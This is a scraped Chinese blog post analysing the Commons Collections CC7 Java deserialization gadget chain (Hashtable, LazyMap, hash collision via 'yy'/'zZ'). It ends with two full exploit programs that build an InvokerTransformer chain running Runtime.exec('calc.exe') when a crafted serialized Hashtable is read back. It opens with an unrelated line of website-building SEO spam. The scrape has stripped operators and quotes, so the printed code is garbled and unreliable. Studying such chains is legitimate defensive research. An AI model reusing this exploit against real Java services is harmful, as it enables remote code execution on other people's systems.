泉州网站制作网页,高端大气网络设计建设公司网站织梦模板,网站开发的中期工作,苏州建能建设科技有限公司目录
链子原理分析(借尸还魂)
如何构造相等hash
又谈为何lazyMap2.remove(yy)
不过真的需要两个LazyMap吗
EXP
双LazyMap exp
HashMapLazyMap exp 链子原理分析(借尸还魂)
先看Hashtable#readObject
origlength和elements分别是原始数组的长度和元素…目录
链子原理分析(借尸还魂)
如何构造相等hash
又谈为何lazyMap2.remove(yy)
不过真的需要两个LazyMap吗
EXP
双LazyMap exp
HashMapLazyMap exp 链子原理分析(借尸还魂)
先看Hashtable#readObject
origlength和elements分别是原始数组的长度和元素的数量最后的key与value就是我们自己构造时用put放进去的接着调用了reconstitutionPut方法
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the threshold and loadFactors.defaultReadObject();// Validate loadFactor (ignore threshold - it will be re-computed)if (loadFactor 0 || Float.isNaN(loadFactor))throw new StreamCorruptedException(Illegal Load: loadFactor);// Read the original length of the array and number of elementsint origlength s.readInt();int elements s.readInt();// Validate # of elementsif (elements 0)throw new StreamCorruptedException(Illegal # of Elements: elements);// Clamp original length to be more than elements / loadFactor// (this is the invariant enforced with auto-growth)origlength Math.max(origlength, (int)(elements / loadFactor) 1);// Compute new length with a bit of room 5% 3 to grow but// no larger than the clamped original length. Make the length// odd if its large enough, this helps distribute the entries.// Guard against the length ending up zero, thats not valid.int length (int)((elements elements / 20) / loadFactor) 3;if (length elements (length 1) 0)length--;length Math.min(length, origlength);if (length 0) { // overflowlength origlength;}// Check Map.Entry[].class since its the nearest public type to// what were actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);table new Entry?,?[length];threshold (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE 1);count 0;// Read the number of elements and then all the key/value objectsfor (; elements 0; elements--) {SuppressWarnings(unchecked)K key (K)s.readObject();SuppressWarnings(unchecked)V value (V)s.readObject();// sync is eliminated for performancereconstitutionPut(table, key, value);}}
再看Hashtable#reconstitutionPut这段代码的作用就是往哈希表中添加一个新的键值对在保证键的唯一性的前提下进行操作并处理可能的异常情况 private void reconstitutionPut(Entry?,?[] tab, K key, V value)throws StreamCorruptedException{if (value null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash key.hashCode();int index (hash 0x7FFFFFFF) % tab.length;for (Entry?,? e tab[index] ; e ! null ; e e.next) {if ((e.hash hash) e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.SuppressWarnings(unchecked)EntryK,V e (EntryK,V)tab[index];tab[index] new Entry(hash, key, value, e);count;}
这里我们因为开了上帝之眼已经知道要去调用e.key.equals(key)了但问题是当第一次调用Hashtable#reconstitutionPut时由于这个Hashtable是空的我们不会进for循环而是直接向其中存一个KV对这样也就不能去调e.key.equals(key)显然不能令我们满意。
如何解决这个问题呢其实很朴素我们先往Hashtable里存一个KV对这样第二次存的时候就会进到for循环从而调用e.key.equals(key)了。
我们调用两次reconstitutionPut也就是说put两个元素进Hashtable对象这样elements(元素数量)的值就为2readObject中的for循环就可以循环两次 第一次循环已经将第一组key和value传入到tab中了当第二次到达reconstitutionPut中的for循环的时候tab[index]中已经有了第一次调用时传入的值所以不为null可以进入for循环
ok 进入for循环的事情我们已经解决了但是想去e.key.equals(key)还得要满足e.hash hash(短路机制你懂的)这里的e值为tab[index]也就是第一组传入的值这里的hash是通过key.hashCode()获取的也就是说要put两个hash值相等的元素进去才行这个点我们下面单独来讲。 跟进到LazyMap所extend的AbstractMapDecorator#equals调用了LazyMap的map的equals方法
public boolean equals(Object object) {return object this ? true : this.map.equals(object);}
跟进HashMap所extend的AbstractMap#equals方法
public boolean equals(Object o) {if (o this)return true;if (!(o instanceof Map))return false;Map?,? m (Map?,?) o;if (m.size() ! size())return false;try {IteratorEntryK,V i entrySet().iterator();while (i.hasNext()) {EntryK,V e i.next();K key e.getKey();V value e.getValue();if (value null) {if (!(m.get(key)null m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}
调用了m.get()而m是根据传入的对象获取的也就是说如果key传入的也是LazyMap类对象那么这里就是调用的LazyMap#get从而为所欲为。 (get后续步骤真不用解释吧)
说一点个人的感想这里其实颇有借尸还魂的味道在里面我们利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法来去调用传入Hashtable的第二个LazyMap的get方法从而完成transformer链的攻击。 如何构造相等hash
解铃还须系铃人先来看看hash是怎么来的
int hash key.hashCode();
跟进hashCode方法(这里先从key是String类型的对象开始讲我知道你很急但你先别急)
public int hashCode() {int h hash;if (h 0 value.length 0) {char val[] value;for (int i 0; i value.length; i) {h 31 * h val[i];}hash h;}return h;}
要注意的是第一步是将变量 h 初始化为实例变量 hash 的值。这个 hash 可能是之前计算得到的哈希码如果没有则为默认值 0
剩下的其实还是挺好理解的下面举个例子 字符串 hello 对应的字符数组为 [h, e, l, l, o]。 初始时h 0然后进入条件判断块开始遍历字符数组 第一轮循环h 31 * 0 h 的ASCII码值 104 第二轮循环h 31 * 104 e 的ASCII码值 3144 101 3245 第三轮循环h 31 * 3245 l 的ASCII码值 100495 108 100603 第四轮循环h 31 * 100603 l 的ASCII码值 3118783 108 3118891 第五轮循环h 31 * 3118891 o 的ASCII码值 96713221 111 96713332。 最终得到的哈希码为 96713332。这个数值作为字符串 hello 的哈希码 ok我们的目的是要构造出相同的hash值我们以yy和zZ为例y比z小1经过第一轮循环后h的差值就差1在第二轮循环会扩大为31*1所以我们可以控制第二个字符是y与Z前面比后面大31刚好抵消了这个差距 众所周知exp里是把LazyMap放Hashtable中的我们可以先看LazyMap的hashCode方法(extend自AbstractMapDecorator)
public int hashCode() {return this.map.hashCode();}
会调用LazyMap的map的hashCode方法也就是HashMap的hashCode方法key与value的分别计算并异或值我们可以设置的相同问题是如何让key的hashcode也一致
public final int hashCode() {return Objects.hashCode(key) ^ Objects.hashCode(value);}
跟进Objects的hashCode方法发现最后调用了传入key的hashCode方法如果传入的key为String类型就可以调用String的hashCode方法也就和上文呼应上了成功构造相等hash。
public static int hashCode(Object o) {return o ! null ? o.hashCode() : 0;} 又谈为何lazyMap2.remove(yy)
先贴出CC6中类似的操作【Web】Java反序列化之CC6--HashMap版-CSDN博客
Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象而在equals中会调用LazyMap的get方法添加一个元素yyyy。导致第二个LazyMap的HashMap中会有两个元素。
Hashtable#put
public synchronized V put(K key, V value) {// Make sure the value is not nullif (value null) {throw new NullPointerException();}// Makes sure the key is not already in the hashtable.Entry?,? tab[] table;int hash key.hashCode();int index (hash 0x7FFFFFFF) % tab.length;SuppressWarnings(unchecked)EntryK,V entry (EntryK,V)tab[index];for(; entry ! null ; entry entry.next) {if ((entry.hash hash) entry.key.equals(key)) {V old entry.value;entry.value value;return old;}}addEntry(hash, key, value, index);return null;} 这段其实上面那篇文章里也有写
if (!this.map.containsKey(key)) {Object value this.factory.transform(key);this.map.put(key, value);return value;} 而HashMap所extend的AbstractMap#equals方法中要求两个HashMap中元素个数相同否则直接return false所以我们需要先remove一个。 Map?,? m (Map?,?) o;if (m.size() ! size())return false; 不过真的需要两个LazyMap吗
虽然yso里是用了两个LazyMap但其实根本没有必要
关于CC7的分析与思考
我们上面借尸还魂的部分也提到过第一个LazyMap利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法那为啥不直接把第一个LazyMap换成HashMap呢更简洁高雅且本质 EXP
双LazyMap exp
package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers new Transformer[] {};Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[] {String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }),new InvokerTransformer(invoke, new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer(exec, new Class[] { String.class}, new String[] {calc.exe}),};Transformer transformerChain new ChainedTransformer(fakeTransformers);Map innerMap1 new HashMap();Map innerMap2 new HashMap();Map lazyMap1 LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put(yy, 1);Map lazyMap2 LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put(zZ, 1);Hashtable hashtable new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 2);Field f ChainedTransformer.class.getDeclaredField(iTransformers);f.setAccessible(true);f.set(transformerChain, transformers);lazyMap2.remove(yy);try{ObjectOutputStream outputStream new ObjectOutputStream(new FileOutputStream(./cc7.bin));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream new ObjectInputStream(new FileInputStream(./cc7.bin));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
} HashMapLazyMap exp
package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers new Transformer[] {};Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[] {String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }),new InvokerTransformer(invoke, new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer(exec, new Class[] { String.class}, new String[] {calc.exe}),};Transformer transformerChain new ChainedTransformer(fakeTransformers);Map map1 new HashMap();Map map2 new HashMap();map1.put(yy, 1);map2.put(zZ, 1);Map lazyMap1 LazyMap.decorate(map1, transformerChain);Hashtable hashtable new Hashtable();hashtable.put(map2, 1);hashtable.put(lazyMap1, 2);Field f ChainedTransformer.class.getDeclaredField(iTransformers);f.setAccessible(true);f.set(transformerChain, transformers);lazyMap1.remove(zZ);try{ObjectOutputStream outputStream new ObjectOutputStream(new FileOutputStream(./cc7.bin));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream new ObjectInputStream(new FileInputStream(./cc7.bin));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}